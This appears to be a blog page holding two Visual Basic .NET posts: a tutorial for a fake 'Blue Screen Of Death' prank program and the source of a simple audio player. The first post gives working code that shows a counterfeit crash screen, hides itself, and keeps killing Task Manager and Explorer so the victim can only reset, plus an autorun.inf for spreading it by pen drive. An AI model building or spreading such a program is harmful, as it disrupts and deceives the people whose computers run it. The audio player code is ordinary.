You Can View The Code From Following Link
https://docs.google.com/document/d/1Tsbjq8rrgbUlIDT4hXyjoSKtwmAc31j2wf50lQe1IS8/edit?usp=sharing
Tuesday, October 15, 2013
Thursday, July 26, 2012
Blue Screen Of Death
#1. First Open Notepad
Start -> All Programs -> Accessories -> Notepad.
#2. Now Put Following Code Into Open Notepad
@echo off
echo ^<html^>^<head^>^<title^>BSOD^</title^> > bsod.hta
echo. >> bsod.hta
echo ^<hta:application id="oBVC" >> bsod.hta
echo applicationname="BSOD" >> bsod.hta
echo version="1.0" >> bsod.hta
echo maximizebutton="no" >> bsod.hta
echo minimizebutton="no" >> bsod.hta
echo sysmenu="no" >> bsod.hta
echo Caption="no" >> bsod.hta
echo windowstate="maximize"/^> >> bsod.hta
echo. >> bsod.hta
echo ^</head^>^<body bgcolor="#000088" scroll="no"^> >> bsod.hta
echo ^<font face="Lucida Console" size="4" color="#FFFFFF"^> >> bsod.hta
echo ^<p^>A problem has been detected and windows has been shutdown to prevent damage to your computer.^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>DRIVER_IRQL_NOT_LES_OR_EQUAL^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>Technical information:^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^</p^> >> bsod.hta
echo. >> bsod.hta
echo. >> bsod.hta
echo ^<p^>*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>Beginning dump of physical memory^</p^> >> bsod.hta
echo ^<p^>Physical memory dump complete.^</p^> >> bsod.hta
echo ^<p^>Contact your system administrator or technical support group for further assistance.^</p^> >> bsod.hta
echo. >> bsod.hta
echo. >> bsod.hta
echo ^</font^> >> bsod.hta
echo ^</body^>^</html^> >> bsod.hta
start "" /wait "bsod.hta"
del /s /f /q "bsod.hta" > nul
#3. Save This File as BSOD.bat
#4. Start any one of them you are using
Visual Studio 2005 Express Edition / Visual Studio 2005 / Visual Studio 2008 Express Edition /Visual Studio 2008 / Visual Studio 2010 Express Edition /Visual Studio 2010
#5. Click On File -> New -> Project
#7. In Name Text Box Type : Blue_Screen_Of_Death And Click On OK
#8. From Toolbox Items Select Timer Control
#9. Now Double Click On Form1
#10. In Form1_Load Event Put Following Code Which look like this:
Private Sub Form1_Load(ByVal
sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
Timer1.Start()
Me.Visible
= False
Me.ShowInTaskbar
= False
Process.Start(System.Environment.CurrentDirectory & "\BSOD.bat")
End Sub
#11. Now Go Back To Form1 Design View
#12. Double Click On Timer1
#13. In Timer1_Tick Event Put Following Code Which look like this:
Private Sub Timer1_Tick(ByVal
sender As Object,
ByVal e As
System.EventArgs) Handles Timer1.Tick
For Each selProcess As
Process In Process.GetProcesses
If
selProcess.ProcessName = "taskmgr" Then
selProcess.Kill()
Exit
For
End
If
Next
For Each taskprocess As
Process In Process.GetProcesses
If
taskprocess.ProcessName = "explorer"
Then
taskprocess.Kill()
Exit For
End
If
Next
End Sub
#14. Now Copy And Paste BSOD.bat File Into Your Program Directory.
Which May Look Like This: C:\Documents and Settings\<Your User Name>\My Documents\Visual Studio 2005\Projects\Blue_Screen_Of_Death\Blue_Screen_Of_Death\bin\Debug
#15. Run Program By Pressing CTRL + F5.
#16. You Can See Blue Screen Of Death Which Appears Mostly When Computer Hardware Or Software Get Crash
#17. Reset Your Computer
#18. When Computer Gets Up Go To Directory:->
C:\Documents and Settings\<Your
User Name>\My Documents\Visual Studio
2005\Projects\Blue_Screen_Of_Death\Blue_Screen_Of_Death\bin\Debug
#19. You Can See There are 2 Files Names are:
a) Blue_Screen_Of_Death.exe
b) BSOD.bat
Copy Both Files Into One Folder
For Example: Go To Desktop and Create New Folder And Put Those Files Into That Folder
#20. Now Open Notepad And Put Following Text [For icon you can set any icon to it like
] :
[autorun]
icon=BSOD.ico
label=Hackers Forever
open=Blue_Screen_Of_Death.exe
icon=BSOD.ico
label=Hackers Forever
open=Blue_Screen_Of_Death.exe
#22. Now Copy and Paste Your Icon Into Same Folder Which We Just Created
#23. In New Folder There are 4 File Are Namely:
a) Blue_Screen_Of_Death.exe
b) BSOD.bat
c) BSOD.ico - Your Icon
d) autorun.inf
#24. Copy All Files Into Your Pen Drive And See What Happens
#25. This Screen Appears Like This [Warning: Task Manager And Explorer Get Kill Automatically Because Of That You Can Only Reset Or Restart Your Computer]:
* [Warning: This May Cause You Lose Your Pen Drive. So Do At Your Own Risk]
Friday, October 21, 2011
Audio Player 2 [Edited]
'Audio Player Main Window Code
Public Class Audio_Player
'Dim i As Integer = 0
#Region "All Controls"
Private Sub btnOpen_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnOpen.Click
Try
Call GetOpenMedia()
TrackBar1.Maximum = AxWindowsMediaPlayer1.Ctlcontrols.currentItem.duration
Label2.Text = AxWindowsMediaPlayer1.Ctlcontrols.currentItem.durationString
Timer1.Interval = 100
Timer1.Enabled = True
Catch ex As Exception
End Try
End Sub
Private Sub OpenToolStripMenuItem_click(ByVal sender As Object, ByVal e As System.EventArgs) Handles OpenToolStripMenuItem.Click
Try
Call GetOpenMedia()
TrackBar1.Maximum = AxWindowsMediaPlayer1.Ctlcontrols.currentItem.duration
Label2.Text = AxWindowsMediaPlayer1.Ctlcontrols.currentItem.durationString
Timer1.Interval = 100
Timer1.Enabled = True
Catch ex As Exception
End Try
End Sub
Private Sub btnPlay_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnPlay.Click
Try
AxWindowsMediaPlayer1.Ctlcontrols.play()
Catch ex As Exception
End Try
End Sub
Private Sub btnPause_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnPause.Click
Try
AxWindowsMediaPlayer1.Ctlcontrols.pause()
Catch ex As Exception
End Try
End Sub
Private Sub btnStop_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnStop.Click
Try
Label1.Text = "00:00"
AxWindowsMediaPlayer1.Ctlcontrols.stop()
Catch ex As Exception
End Try
End Sub
Private Sub btnForword_MouseDown(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnForword.MouseDown
Try
AxWindowsMediaPlayer1.Ctlcontrols.fastForward()
Catch ex As Exception
End Try
End Sub
Private Sub btnForword_MouseUp(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnForword.MouseUp
Try
AxWindowsMediaPlayer1.Ctlcontrols.play()
Catch ex As Exception
End Try
End Sub
Private Sub GetOpenMedia()
Play_List.DataGridView1.Rows.Clear()
Dim OpenMedia As New OpenFileDialog
OpenMedia.InitialDirectory = System.Environment.SpecialFolder.CommonMusic
OpenMedia.FileName = ""
OpenMedia.Multiselect = False
OpenMedia.Filter = "Audio Files (*.wav;*.snd;*.au;*.aif;*.aifc;*.aiff;*.wma;*.mp2;*.mp3;*.adts;*.adt;*.acc)|*.wav;*.snd;*.au;*.aif;*.aifc;*.aiff;*.wma;*.mp2;*.mp3;*.adts;*.adt;*.acc"
OpenMedia.ShowDialog()
If Windows.Forms.DialogResult.OK Then
Play_List.DataGridView1.Rows.Add(OpenMedia.FileName)
AxWindowsMediaPlayer1.URL = OpenMedia.FileName
End If
End Sub
Private Sub OpenFilesToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles OpenFilesToolStripMenuItem.Click
Try
Dim OpenMedia As New OpenFileDialog
OpenMedia.InitialDirectory = System.Environment.SpecialFolder.CommonMusic
OpenMedia.FileName = ""
OpenMedia.Multiselect = True
OpenMedia.Filter = "Audio Files (*.wav;*.snd;*.au;*.aif;*.aifc;*.aiff;*.wma;*.mp2;*.mp3;*.adts;*.adt;*.acc)|*.wav;*.snd;*.au;*.aif;*.aifc;*.aiff;*.wma;*.mp2;*.mp3;*.adts;*.adt;*.acc"
OpenMedia.ShowDialog()
If Windows.Forms.DialogResult.OK Then
'For Each str1 As String In OpenMedia.FileNames
' Play_List.ListBox1.Items.Add(str1)
'Next
For Each Str As String In OpenMedia.FileNames
Play_List.DataGridView1.Rows.Add(Str)
Next
End If
Catch ex As Exception
End Try
End Sub
Private Sub Audio_Player_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
TrackBar2.Value = 100
ProgressBar1.Value = TrackBar2.Value
AxWindowsMediaPlayer1.settings.volume = TrackBar2.Value
Label3.Text = "Volume: " & TrackBar2.Value & " %"
AxWindowsMediaPlayer1.Visible = False
Timer1.Interval = 100
If AxWindowsMediaPlayer1.playState = WMPLib.WMPPlayState.wmppsPlaying Then
Timer1.Enabled = True
Else
Timer1.Enabled = False
End If
Play_List.Visible = True
End Sub
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
TrackBar1.Maximum = AxWindowsMediaPlayer1.Ctlcontrols.currentItem.duration
Label1.Text = AxWindowsMediaPlayer1.Ctlcontrols.currentPositionString
TrackBar1.Value = AxWindowsMediaPlayer1.Ctlcontrols.currentPosition
Label2.Text = AxWindowsMediaPlayer1.Ctlcontrols.currentItem.durationString
Catch ex As Exception
End Try
End Sub
Private Sub TrackBar1_Scroll(ByVal sender As Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
Try
AxWindowsMediaPlayer1.Ctlcontrols.currentPosition = TrackBar1.Value
Catch ex As Exception
End Try
End Sub
Private Sub ExitToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click
Application.Exit()
End Sub
Private Sub TrackBar2_Scroll(ByVal sender As Object, ByVal e As System.EventArgs) Handles TrackBar2.Scroll
Try
AxWindowsMediaPlayer1.settings.volume = TrackBar2.Value
ProgressBar1.Value = TrackBar2.Value
Label3.Text = "Volume: " & TrackBar2.Value & " %"
Catch ex As Exception
End Try
End Sub
Private Sub btnMuteOnOff_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnMuteOnOff.Click
Try
If AxWindowsMediaPlayer1.settings.mute = False Then
btnMuteOnOff.FlatStyle = FlatStyle.Flat
AxWindowsMediaPlayer1.settings.mute = True
Else
AxWindowsMediaPlayer1.settings.mute = False
btnMuteOnOff.FlatStyle = FlatStyle.Standard
End If
Catch ex As Exception
End Try
End Sub
Private Sub PlayListToolStripMenuItem_click(ByVal sender As Object, ByVal e As System.EventArgs) Handles PlayListToolStripMenuItem.Click
If Play_List.Visible = False Then
Play_List.Visible = True
Else
Play_List.Visible = False
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Try
AxWindowsMediaPlayer1.Ctlcontrols.currentPosition = AxWindowsMediaPlayer1.Ctlcontrols.currentPosition - 2
If AxWindowsMediaPlayer1.Ctlcontrols.currentPosition <= 0 Then
Timer2.Enabled = False
End If
Catch ex As Exception
End Try
End Sub
Private Sub btnReverse_MouseDown(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnReverse.MouseDown
Timer2.Interval = 100
Timer2.Enabled = True
End Sub
Private Sub btnReverse_MouseUp(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnReverse.MouseUp
Timer2.Enabled = False
AxWindowsMediaPlayer1.Ctlcontrols.play()
End Sub
Private Sub btnPrevious_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnPrevious.Click
Try
If Not n <= 0 Then
n = n - 1
Me.AxWindowsMediaPlayer1.URL = Play_List.DataGridView1.Item(0, n).Value
Me.TrackBar1.Maximum = Me.AxWindowsMediaPlayer1.Ctlcontrols.currentItem.duration
Me.Label2.Text = Me.AxWindowsMediaPlayer1.Ctlcontrols.currentItem.durationString
Me.Timer1.Interval = 100
Me.Timer1.Enabled = True
End If
Catch ex As Exception
Beep()
End Try
End Sub
Private Sub btnNext_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnNext.Click
Try
If Not n > Play_List.DataGridView1.Rows.Count Then
n = n + 1
AxWindowsMediaPlayer1.URL = Play_List.DataGridView1.Item(0, n).Value
Me.TrackBar1.Maximum = Me.AxWindowsMediaPlayer1.Ctlcontrols.currentItem.duration
Me.Label2.Text = Me.AxWindowsMediaPlayer1.Ctlcontrols.currentItem.durationString
Me.Timer1.Interval = 100
Me.Timer1.Enabled = True
End If
Catch ex As Exception
Beep()
End Try
End Sub
Private Sub btnOpenSub_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnOpenSub.Click
Try
ContextMenuStrip1.Show(MousePosition.X, MousePosition.Y)
Catch ex As Exception
End Try
End Sub
Private Sub OpenFilesToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenFilesToolStripMenuItem1.Click
Try
Dim OpenMedia As New OpenFileDialog
OpenMedia.InitialDirectory = System.Environment.SpecialFolder.CommonMusic
OpenMedia.FileName = ""
OpenMedia.Multiselect = True
OpenMedia.Filter = "Audio Files (*.wav;*.snd;*.au;*.aif;*.aifc;*.aiff;*.wma;*.mp2;*.mp3;*.adts;*.adt;*.acc)|*.wav;*.snd;*.au;*.aif;*.aifc;*.aiff;*.wma;*.mp2;*.mp3;*.adts;*.adt;*.acc"
OpenMedia.ShowDialog()
If Windows.Forms.DialogResult.OK Then
'For Each str1 As String In OpenMedia.FileNames
' Play_List.ListBox1.Items.Add(str1)
'Next
For Each Str As String In OpenMedia.FileNames
Play_List.DataGridView1.Rows.Add(Str)
Next
End If
Catch ex As Exception
End Try
End Sub
#End Region
End Class
'Playlist Code
Public Class Play_List
Private Sub DataGridView1_CellContentDoubleClick(ByVal sender As Object, ByVal e As System.Windows.Forms.DataGridViewCellEventArgs) Handles DataGridView1.CellContentDoubleClick
Try
Dim i, j As Integer
i = DataGridView1.CurrentRow.Index
j = 0
Audio_Player.AxWindowsMediaPlayer1.URL = Me.DataGridView1.Item(0, i).Value
Audio_Player.TrackBar1.Maximum = Audio_Player.AxWindowsMediaPlayer1.Ctlcontrols.currentItem.duration
Audio_Player.Label2.Text = Audio_Player.AxWindowsMediaPlayer1.Ctlcontrols.currentItem.durationString
Audio_Player.Timer1.Interval = 100
Audio_Player.Timer1.Enabled = True
n = i
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
Private Sub Play_List_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
DataGridView1.ReadOnly = True
DataGridView1.AllowUserToAddRows = False
End Sub
Private Sub DataGridView1_CellContentClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DataGridViewCellEventArgs) Handles DataGridView1.CellContentClick
End Sub
End Class
'Module
playlist_module.vb
'Code:
Module playlist_module
Public n As Integer
End Module
Public n As Integer
End Module
Subscribe to:
Posts (Atom)